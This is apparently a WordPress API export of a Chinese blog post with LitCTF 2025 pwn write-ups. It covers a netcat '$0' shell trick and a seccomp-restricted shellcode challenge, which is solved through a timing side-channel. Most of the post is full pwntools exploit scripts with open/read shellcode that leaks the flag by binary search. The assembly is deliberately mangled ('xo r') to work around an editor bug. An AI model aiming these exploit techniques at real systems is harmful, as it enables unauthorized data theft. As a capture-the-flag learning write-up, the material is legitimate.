{"id":409,"date":"2025-05-28T23:02:35","date_gmt":"2025-05-28T15:02:35","guid":{"rendered":"https:\/\/www.okabe.xin\/?p=409"},"modified":"2025-05-28T23:02:35","modified_gmt":"2025-05-28T15:02:35","slug":"litctf-2","status":"publish","type":"post","link":"https:\/\/www.okabe.xin\/wordpress\/?p=409","title":{"rendered":"LitCTF"},"content":{"rendered":"\n

test_your_nc<\/h2>\n\n\n\n

$0\u63d0\u6743\u7136\u540ecat flag<\/p>\n\n\n\n

C:\\Users\\26597>nc node10.anna.nssctf.cn 23227\ninput your command\n$0\nc\/at fl\/ag\nsh: 1: c\/at: not found\nls\nbin\ndev\nflag\nlib\nlib32\nlib64\nlibexec\nlibx32\npwn\ncat flag\nNSSCTF{bb1df39b-d81a-4996-8f63-38aff8a21053}<\/code><\/pre>\n\n\n\n
shellcode<\/h2>\n\n\n\n
IDA\u6253\u5f00\u770b\u5230\u6709\u6c99\u7bb1\uff0c\u5148\u67e5\u6c99\u7bb1\u4fdd\u62a4\uff1a<\/p>\n\n\n\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/PycharmProjects\/PythonProject]\n\u2514\u2500$ seccomp-tools dump .\/pwn1_lit\nWelcome LitCTF 2025\nPlease input your shellcode:\n\nline CODE JT JF K\n\n0000: 0x20 0x00 0x00 0x00000004 A = arch\n0001: 0x15 0x00 0x06 0xc000003e if (A != ARCH_X86_64) goto 0008\n0002: 0x20 0x00 0x00 0x00000000 A = sys_number\n0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005\n0004: 0x15 0x00 0x03 0xffffffff if (A != 0xffffffff) goto 0008\n0005: 0x15 0x01 0x00 0x00000000 if (A == read) goto 0007\n0006: 0x15 0x00 0x01 0x00000002 if (A != open) goto 0008\n0007: 0x06 0x00 0x00 0x7fff0000 return ALLOW\n0008: 0x06 0x00 0x00 0x00000000 return KILL<\/code><\/pre>\n\n\n\n
\u6ca1\u51fa\u73b0\u7684\u51fd\u6570\u5c31\u662f\u88abban\u6389\u4e86\uff08\u590f\u5e08\u5085\u8bef\u6211\uff09<\/p>\n\n\n\n
\u8fd9\u91cc\u5c31\u5269\u4e2aOR\u4e86\uff0c\u6ca1W\uff0c\u6ca1W\u5c31\u6ca1\u6cd5\u8f93\u51faflag\uff0c\u90a3\u6b63\u5e38\u7684ORW\u5c31\u6ca1\u5f97\u73a9\u4e86<\/p>\n\n\n\n
\u4f46\u662f\u53c8\u5b66\u4e86\u62db\u65b0\u7684\uff0c\u4fa7\u4fe1\u9053\u7206\u7834<\/p>\n\n\n\n
\u539f\u7406\u5c31\u662f\uff0c\u5148\u60f3\u529e\u6cd5\u5229\u7528open<\/code>\u51fd\u6570\uff0c\u6253\u5f00flag<\/code>\u6587\u4ef6<\/p>\n\n\n\n
\u6253\u5f00\u6587\u4ef6\u7684\u65b9\u6cd5\u662f\uff1a\u5c06\u5b57\u7b26\u4e32”flag\\0″\u538b\u6808\uff0c\u8c03\u7528open<\/code>\u6253\u5f00\u6587\u4ef6\uff0c\u83b7\u5f97\u6587\u4ef6\u63cf\u8ff0\u7b26fd<\/code><\/p>\n\n\n\n
\u7136\u540e\u5229\u7528read<\/code>\u51fd\u6570\uff1a\u5c06fd<\/code>\u8bbe\u4e3aread<\/code>\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570\uff0c\u8bfb\u53d6\u5185\u5bb9\u5230\u6808\u4e0a\u7684\u7f13\u51b2\u533a\uff08\u8986\u76d6\u539f”flag\\0″\u5b57\u7b26\u4e32\u7684\u4f4d\u7f6e\uff09<\/p>\n\n\n\n
\u518d\u901a\u8fc7\u4e8c\u5206\u6cd5\u731c\u6d4b\u6bcf\u4e2a\u5b57\u7b26\u7684ASCII\u503c\u3002\u82e5\u7a0b\u5e8f\u672a\u53ca\u65f6\u9000\u51fa\uff08\u8d85\u65f6\uff09\uff0c\u8bf4\u660e\u5b57\u7b26\u503c\u5927\u4e8e\u5f53\u524d\u731c\u6d4b\uff0c\u8c03\u6574\u4e8c\u5206\u8303\u56f4<\/p>\n\n\n\n
\u5229\u7528\u7a0b\u5e8f\u54cd\u5e94\u65f6\u95f4\u7684\u5dee\u5f02\u63a8\u65ad\u5b57\u7b26\u7684\u6b63\u786e\u503c\uff0c\u9010\u6b65\u62fc\u63a5\u5b8c\u6574flag<\/p>\n\n\n\n
\uff08u1s1\uff0c\u611f\u89c9\u8fd9\u4e2a\u601d\u8def\u633a\u5177\u6709\u60f3\u8c61\u529b\u7684\uff09<\/p>\n\n\n\n
sc=asm(\"\"\"\n    movabs rax, 0x67616C66\n    push 0\n    push rax\n    push rsp\n    pop rdi\n    xor rsi, rsi\n    xor rdx, rdx\n    mov rax, 2\n    syscall #open(\"flag.txt\", 0, 0);\n    mov rsi, rdi\n    mov rdi, rax\n    xor rax, rax\n    mov rdx, 0x100\n    syscall #read(0, rsp, 0x100);\n    mov al, [rsp+{}]\n    cmp al, {}\n    jbe $\n    \"\"\".format(i, c))\n\n    io.sendafter(\":\", sc)\n    io.recv()\n    try:\n        io.recv(timeout=0.1)\n        io.close()\n        return True\n    except EOFError:\n        io.close()\n        return False<\/code><\/pre>\n\n\n\n
movabs rax, 0x67616C66<\/code>\uff0c\u8fd9\u91cc\u76840x67616C66<\/code>\u662fflag<\/code>\u768416\u8fdb\u5236\u5c0f\u7aef\u5e8f\u8868\u793a
\u611f\u89c9\u8fd9\u4e2ashellcode\u53ef\u80fd\u4f1a\u5177\u6709\u4e00\u5b9a\u7684\u666e\u9002\u6027\uff08\u4f46\u5c31\u505a\u8fc7\u8fd9\u4e00\u4e2a\u9898\uff0c\u7b49\u6211\u627e\u5230\u4e86\u5176\u4ed6\u7c7b\u4f3c\u7684\u9898\u76ee\u518d\u6765\u8bd5\u8bd5\uff0c\u5982\u679c\u4e0d\u884c\u5c31\u53e6\u5916\u603b\u7ed3\u600e\u4e48\u5728\u8fd9\u4e2a\u7684\u57fa\u7840\u4e0a\u6539\uff09<\/p>\n\n\n\n
i = 0\nflag = ''\nwhile True:\n    l = 0x20\n    r = 0x80\n    while l <= r:\n        m = (l + r) \/\/ 2\n        if find(i, m):\n            r = m - 1\n        else:\n            l = m + 1\n\n    if l==0:\n        break\n    flag += chr(l)\n    info(\"win!!!!!!!!!!!!!!!!!!!!!!!!! \")\n    info(flag)\n    i += 1\n\ninfo(\"flag: \"+flag)<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u5c31\u662f\u4e8c\u5206\u6cd5\u7206\u7834\u7684\u4ee3\u7801\u5b9e\u73b0\uff0c0x20~0x80\u662f\u6240\u6709\u53ef\u89c1\u5b57\u7b26\u7684\u8303\u56f4<\/p>\n\n\n\n
\u5b9e\u9645\u4e0a\u4e5f\u5c3196\u4e2a\u5b57\u7b26\uff0c\u5b9e\u9645\u7206\u8d77\u6765\u4e5f\u633a\u5feb\u7684\uff08\uff09<\/p>\n\n\n\n
\u8fd9\u91cc\u5728\u540c\u4e00\u76ee\u5f55\u4e0b\u521b\u5efaflag\u6587\u4ef6<\/p>\n\n\n\n
\uff08\u7531\u4e8e\u4e0d\u77e5\u9053NSS\u51fa\u4ec0\u4e48\u95ee\u9898\uff0c\u5176\u4ed6\u90fd\u4e0a\u5e73\u53f0\u4e86\uff0c\u5c31\u8fd9\u4e2a\u6ca1\u4e0a\uff0c\u53ea\u80fd\u6253\u672c\u5730\u8fdb\u884c\u590d\u73b0\uff09<\/p>\n\n\n\n
\u8fd9\u4e2a\u957f\u5ea6\u7684flag\u57281k\u591a\u6b21\u5c1d\u8bd5\u540e\u5c31\u5dee\u4e0d\u591a\u51fa\u6765\u4e86\uff0c\u6240\u4ee5\u8bb2\u9053\u7406\u5e94\u8be5\u82b1\u4e0d\u4e86\u4ec0\u4e48\u65f6\u95f4\uff0c\u4e0d\u8fc7\u7531\u4e8e\u662f\u6253\u672c\u5730\uff0c\u6211\u628atimeout\u7684\u65f6\u95f4\u7f29\u77ed\u5230\u4e860.1\uff0c\u539f\u7248\u4e0d\u77e5\u9053\u6218\u961f\u4f6c\u4eec\u7684exp\u6253\u8fdc\u7a0b\u7528\u7684\u503c\u662f2\u6765\u7740\uff08\u6bd5\u7adf\u5f00\u4f4e\u4e86\u8981\u51fa\u4e8b\u5427\uff09<\/p>\n\n\n\n
\u8fd9\u8fb9\u501f\u7528\u4e00\u4e0b\u5927\u4f6cexp\uff1a<\/p>\n\n\n\n
from pwn import *\ncontext(arch='amd64',os='linux')\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]\n#io=remote()\n\nr = lambda a : io.recv(a)\nrl = lambda    a=False        : io.recvline(a)\nru = lambda a,b=True    : io.recvuntil(a,b)\ns = lambda x            : io.send(x)\nsl = lambda x            : io.sendline(x)\nsa = lambda a,b            : io.sendafter(a,b)\nsla = lambda a,b        : io.sendlineafter(a,b)\nshell = lambda            : io.interactive()\ndef debug(script=\"\"):\n    gdb.attach(io, gdbscript=script)\n\nio=0\ndef find(i, c):\n    global io\n    \\#io=remote('node8.anna.nssctf.cn', 20901)\n    io=process(\".\/pwn1_lit\")\n    sc=asm(\"\"\"\n    movabs rax, 0x67616C66\n    push 0\n    push rax\n    push rsp\n    pop rdi\n    xo r rsi,rsi\n    xo r rdx, rdx\n    mov rax, 2\n    syscall #open(\"flag.txt\", 0, 0);\n    mov rsi, rdi\n    mov rdi, rax\n    xo r rax, rax\n    mov rdx, 0x100\n    syscall #read(0, rsp, 0x100);\n    mov al, [rsp+{}]\n    cmp al, {}\n    jbe $\n    \"\"\".format(i, c))\n\n    io.sendafter(\":\", sc)\n    io.recv()\n    try:\n        io.recv(timeout=0.1)\n        io.close()\n        return True\n    except EOFError:\n        io.close()\n        return False\n\n#debug(\"break *main+120\\nc\")\ni = 0\nflag = ''\nwhile True:\n    l = 0x20\n    r = 0x80\n    while l <= r:\n        m = (l + r) \/\/ 2\n        if find(i, m):\n            r = m - 1\n        else:\n            l = m + 1\n\n    if l==0:\n        break\n    flag += chr(l)\n    info(\"win!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \")\n    info(flag)\n    i += 1\n\ninfo(\"flag: \"+flag)<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u5c31\u662f\u4e8c\u5206\u6cd5\u7206\u7834\u7684\u4ee3\u7801\u5b9e\u73b0\uff0c0x20~0x80\u662f\u6240\u6709\u53ef\u89c1\u5b57\u7b26\u7684\u8303\u56f4<\/p>\n\n\n\n
\u5b9e\u9645\u4e0a\u4e5f\u5c3196\u4e2a\u5b57\u7b26\uff0c\u5b9e\u9645\u7206\u8d77\u6765\u4e5f\u633a\u5feb\u7684\uff08\uff09<\/p>\n\n\n\n
\u8fd9\u91cc\u5728\u540c\u4e00\u76ee\u5f55\u4e0b\u521b\u5efaflag\u6587\u4ef6<\/p>\n\n\n\n
\uff08\u7531\u4e8e\u4e0d\u77e5\u9053NSS\u51fa\u4ec0\u4e48\u95ee\u9898\uff0c\u5176\u4ed6\u90fd\u4e0a\u5e73\u53f0\u4e86\uff0c\u5c31\u8fd9\u4e2a\u6ca1\u4e0a\uff0c\u53ea\u80fd\u6253\u672c\u5730\u8fdb\u884c\u590d\u73b0\uff09<\/p>\n\n\n\n
\"\"<\/div><\/figure>\n\n\n\n
\u8fd9\u4e2a\u957f\u5ea6\u7684flag\u57281k\u591a\u6b21\u5c1d\u8bd5\u540e\u5c31\u5dee\u4e0d\u591a\u51fa\u6765\u4e86\uff0c\u6240\u4ee5\u8bb2\u9053\u7406\u5e94\u8be5\u82b1\u4e0d\u4e86\u4ec0\u4e48\u65f6\u95f4\uff0c\u4e0d\u8fc7\u7531\u4e8e\u662f\u6253\u672c\u5730\uff0c\u6211\u628atimeout\u7684\u65f6\u95f4\u7f29\u77ed\u5230\u4e860.1\uff0c\u539f\u7248\u4e0d\u77e5\u9053\u6218\u961f\u4f6c\u4eec\u7684exp\u6253\u8fdc\u7a0b\u7528\u7684\u503c\u662f2\u6765\u7740\uff08\u6bd5\u7adf\u5f00\u4f4e\u4e86\u8981\u51fa\u4e8b\u5427\uff09<\/p>\n\n\n\n
\u8fd9\u8fb9\u501f\u7528\u4e00\u4e0b\u5927\u4f6cexp\uff1a<\/p>\n\n\n\n
from pwn import *\n\ncontext(arch='amd64',os='linux')\ncontext.terminal = [\"tmux\", \"splitw\", \"-h\"]\n#io=remote()\n\nr = lambda a : io.recv(a)\nrl = lambda    a=False        : io.recvline(a)\nru = lambda a,b=True    : io.recvuntil(a,b)\ns = lambda x            : io.send(x)\nsl = lambda x            : io.sendline(x)\nsa = lambda a,b            : io.sendafter(a,b)\nsla = lambda a,b        : io.sendlineafter(a,b)\nshell = lambda            : io.interactive()\ndef debug(script=\"\"):\n    gdb.attach(io, gdbscript=script)\n\nio=0\ndef find(i, c):\n    global io\n    #io=remote('node8.anna.nssctf.cn', 20901)\n    io=process(\".\/pwn1_lit\")\n    sc=asm(\"\"\"\n    movabs rax, 0x67616C66\n    push 0\n    push rax\n    push rsp\n    pop rdi\n    xo r rsi, rsi\n    xo r rdx, rdx\n    mov rax, 2\n    syscall #open(\"flag.txt\", 0, 0);\n    mov rsi, rdi\n    mov rdi, rax\n    xo r rax, rax\n    mov rdx, 0x100\n    syscall #read(0, rsp, 0x100);\n    mov al, [rsp+{}]\n    cmp al, {}\n    jbe $\n    \"\"\".format(i, c))\n\n    io.sendafter(\":\", sc)\n    io.recv()\n    try:\n        io.recv(timeout=0.1)\n        io.close()\n        return True\n    except EOFError:\n        io.close()\n        return False\n\n#debug(\"break *main+120\\nc\")\ni = 0\nflag = ''\nwhile True:\n    l = 0x20\n    r = 0x80\n    while l <= r:\n        m = (l + r) \/\/ 2\n        if find(i, m):\n            r = m - 1\n        else:\n            l = m + 1\n\n    if l==0:\n        break\n    flag += chr(l)\n    info(\"win!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! \")\n    info(flag)\n    i += 1\n\ninfo(\"flag: \"+flag)\n<\/code><\/pre>\n\n\n\n
\u8fd9\u91cc\u6211\u53e6\u5916\u81ea\u5df1\u6539\u5199\u4e86\u4e00\u7248<\/p>\n\n\n\n
from pwn import *\ncontext.update(arch='amd64', os='linux', log_level='info')\n\ndef exp(offset, char):\n    shellcode = asm(f'''\n        \/* \u6784\u9020\"flag.txt\"\u5e76\u786e\u4fdd\u6808\u5bf9\u9f50 *\/\n        sub rsp, 0x20\n        and rsp, 0xfffffffffffffff0  # \u5bf9\u9f50\u6808\n        mov rax, 0x67616C66  # \"flag.txt\"\n        mov qword ptr [rsp+0x10], rax\n        xo r rax, rax\n        mov qword ptr [rsp+0x18], rax\n        lea rdi, [rsp+0x10]   # \u6587\u4ef6\u540d\u6307\u9488\n        xo r esi, esi          # O_RDONLY\n        xo r edx, edx\n        mov al, 2\n        syscall               # open(\"flag\", 0)\n\n        \/* \u8bfb\u53d6flag\u5230rsp\u7f13\u51b2\u533a *\/\n        test rax, rax         # \u68c0\u67e5open\u662f\u5426\u6210\u529f\n        js failed             # \u5931\u8d25\u5219\u9000\u51fa\n        mov rdi, rax          # fd\n        mov rsi, rsp          # \u7f13\u51b2\u533a\u5730\u5740\n        mov dl, 0x40          # \u8bfb\u53d6\u957f\u5ea6\n        xo r rax, rax\n        syscall               # read(fd, buf, 0x40)\n\n        \/* \u6bd4\u8f83\u7b2coffset\u4e2a\u5b57\u7b26 *\/\n        mov al, byte ptr [rsi+{offset}]\n        mov cl, {char}\n        cmp al, cl\n        je loop               # \u76f8\u7b49\u5219\u4fdd\u6301\u5b58\u6d3b\n        ud2                   # \u4e0d\u7b49\u89e6\u53d1\u5d29\u6e83\n        loop: \n        jmp loop\n        failed:\n        ud2\n    ''')\n    p.send(shellcode)\n\nflag = \"flag{\"\nfor i in range(len(flag), 50):\n    found = False\n    for c in range(0x20, 0x7f):\n        try:\n            p = process('.\/pwn1_lit')\n            exp(i, c)\n            # \u68c0\u6d4b\u8fdb\u7a0b\u662f\u5426\u5b58\u6d3b\uff081\u79d2\u8d85\u65f6\uff09\n            start = time.time()\n            while time.time() - start < 1:\n                if p.poll() is not None:  # \u8fdb\u7a0b\u5df2\u7ec8\u6b62\n                    break\n                sleep(0.1)\n            if p.poll() is None:  # \u4ecd\u7136\u5b58\u6d3b\u8bf4\u660e\u5b57\u7b26\u6b63\u786e\n                flag += chr(c)\n                log.success(f\"Found: {flag} , !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\")\n                p.kill()\n                found = True\n                break\n            p.close()\n        except Exception as e:\n            p.close()\n    if not found:\n        log.error(\"No valid char found!\")\n        break<\/code><\/pre>\n\n\n\n
\u4e3a\u4e86\u66f4\u65b0\u8fd9\u4e2a\u535a\u5ba2\u771f\u662f\u7ed9\u6211\u6c14\u7b11\u4e86\uff0cwordpress\u4ec0\u4e48\u9b3c\u4e1c\u897f\uff0c\u6b7b\u6d3b\u66f4\u65b0\u4e0d\u4e0a\u53bb\uff0c\u6211\u4e00\u884c\u4e00\u884c\u627e\u662f\u54ea\u4e00\u884c\u4f1a\u51fa\u95ee\u9898\uff0c\u7ed3\u679c\u5c45\u7136\u662f\u4ee3\u7801\u5757\u91cc\u9762\u7684xor\u8fde\u7740\u5c31\u62a5\u9519\uff0c\u8bf4\u662f\u6b64\u54cd\u5e94\u4e0d\u662f\u5408\u6cd5\u7684 JSON \u54cd\u5e94\uff0co\u548cr\u9694\u4e00\u4e2a\u5b57\u7b26\u5c31\u6ca1\u4e8b\u4e86\uff0c\u6df1\u4e95\u51b0wordpress<\/p>\n\n\n\n
\u6700\u8ba8\u538cwordpress\u7f16\u8f91\u5668\u7684\u4e00\u96c6<\/p>\n\n\n\n
<\/p>\n","protected":false},"excerpt":{"rendered":"
test_your_nc $0\u63d0\u6743\u7136\u540ecat flag shellcode IDA\u6253\u5f00\u770b\u5230\u6709\u6c99\u7bb1\uff0c\u5148\u67e5\u6c99\u7bb1\u4fdd\u62a4 […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-409","post","type-post","status-publish","format-standard","hentry","category-ctf"],"_links":{"self":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/409","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=409"}],"version-history":[{"count":0,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=\/wp\/v2\/posts\/409\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=409"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=409"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.okabe.xin\/wordpress\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=409"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}